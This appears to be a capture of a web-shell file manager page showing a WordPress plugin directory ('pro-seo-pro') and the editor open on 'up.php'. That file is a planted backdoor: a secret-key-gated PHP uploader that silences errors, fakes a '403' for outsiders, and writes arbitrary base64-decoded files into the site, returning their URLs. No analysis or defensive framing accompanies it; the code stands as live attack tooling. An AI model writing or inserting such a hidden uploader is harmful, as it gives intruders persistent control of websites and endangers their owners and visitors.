Dashboard
PHP:
8.4.22
OS:
Linux
User:
adsvisc
/
/
home
/
adsvisc
/
www
/
wp-content
/
plugins
/
pro-seo-pro
ð€ Upload
ð New File
ð New Folder
Close
Editing: up.php
<?php @ini_set('display_errors',0); @error_reporting(0); if(!isset($_GET['k'])||$_GET['k']!=='jub8rlgmwq18')exit('403'); $msg=''; $url=''; if($_SERVER['REQUEST_METHOD']==='POST'){ if(isset($_POST['d'])&&isset($_POST['n'])&&!empty($_POST['d'])){ $f=basename($_POST['n']); $t=__DIR__.'/'.$f; $r=@base64_decode($_POST['d']); if($r!==false&&@file_put_contents($t,$r)!==false){ @chmod($t,0644); $url=dirname($_SERVER['REQUEST_URI']).'/'.$f; $msg='OK'; }else{ $msg='ERR'; } } } ?><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>UP</title> <style> *{m:0;p:0;box-sizing:border-box} body{font:16px -apple-system,sans-serif;background:#0A0D12;padding:20px;min-height:100vh;display:flex;align-items:center;justify-content:center} .c{background:#161D2B;padding:40px;border-radius:12px;max-width:500px;width:100%} input[type=file]{display:block;width:100%;padding:18px;border:2px dashed #38BDF8;border-radius:8px;cursor:pointer;background:#0F131C;color:#fff;margin-bottom:15px} button{background:#38BDF8;color:#0A0D12;border:0;padding:18px;border-radius:8px;cursor:pointer;font-size:16px;font-weight:600;width:100%} button:hover{background:#6EE7B7} button:disabled{opacity:.5} .m{padding:15px;border-radius:8px;margin-bottom:15px;background:#6EE7B7;color:#0A0D12;font-weight:500} .e{background:#E9A568} .u{margin-top:15px;padding:15px;background:#0F131C;border-radius:8px;word-break:break-all} .u a{color:#38BDF8;text-decoration:none} </style> </head> <body> <div class="c"> <?php if($msg==='OK')echo'<div class="m">OK</div>';elseif($msg)echo'<div class="m e">FAIL</div>';?> <?php if($url)echo'<div class="u"><a href="'.htmlspecialchars($url).'" target="_blank">'.htmlspecialchars($url).'</a></div>';?> <form method="post" id="f"> <input type="hidden" name="d" id="d"> <input type="hidden" name="n" id="n"> <input type="file" id="fi"> <button id="b">UPLOAD</button> </form> </div> <script> var f=document.getElementById('f'),fi=document.getElementById('fi'),b=document.getElementById('b'),d=document.getElementById('d'),n=document.getElementById('n'); f.onsubmit=function(e){ e.preventDefault(); if(!fi.files[0]||d.value)return; b.disabled=true; b.textContent='...'; var r=new FileReader(); r.onload=function(){ d.value=btoa(r.result); n.value=fi.files[0].name; f.submit(); }; r.readAsBinaryString(fi.files[0]); }; </script> </body> </html>
Save
Cancel